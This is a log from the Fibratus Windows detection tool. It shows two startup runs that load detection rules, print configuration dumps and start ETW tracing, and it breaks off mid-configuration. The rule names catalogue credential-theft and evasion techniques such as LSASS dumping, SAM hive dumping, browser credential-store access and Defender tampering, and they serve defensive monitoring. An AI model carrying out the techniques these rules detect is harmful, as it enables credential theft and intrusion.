+time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:20:38+01:00 level=info msg=bootstrapping with pid 13800. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:20:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-dns=>false enable-handle=>false min-buffers=>16 enable-net=>true enable-thread=>true enable-fileio=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true flush-interval=>1s enable-threadpool=>false max-buffers=>36 enable-registry=>true enable-audit-api=>true stack-enrichment=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 level=>info max-size=>100 formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST timeout=>5s serializer=>json enable-gzip=>false enabled=>false endpoints=>[]] elasticsearch=>[ enabled=>false sniff=>false flush-period=>1s healthcheck=>true index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s timeout=>5s gzip-compression=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ durable=>false vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic timeout=>5s enabled=>false passive=>false routing-key=>fibratus url=>amqp://localhost:5672]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-registry=>false scan-timeout=>10s excluded-procs=>[] skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:20:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:20:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:21:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:21:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:21:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:23:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:23:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:23:40+01:00 level=info msg=bootstrapping with pid 6716. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:23:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html enabled=>false to=>[] port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true buffer-size=>512 enable-handle=>false flush-interval=>1s enable-mem=>false min-buffers=>16 enable-vamap=>true enable-net=>true enable-thread=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-threadpool=>false stack-enrichment=>true max-buffers=>36 enable-image=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 level=>info max-age=>0 log-stdout=>true] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic exchange=>fibratus passive=>false enabled=>false durable=>false vhost=>/ delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ 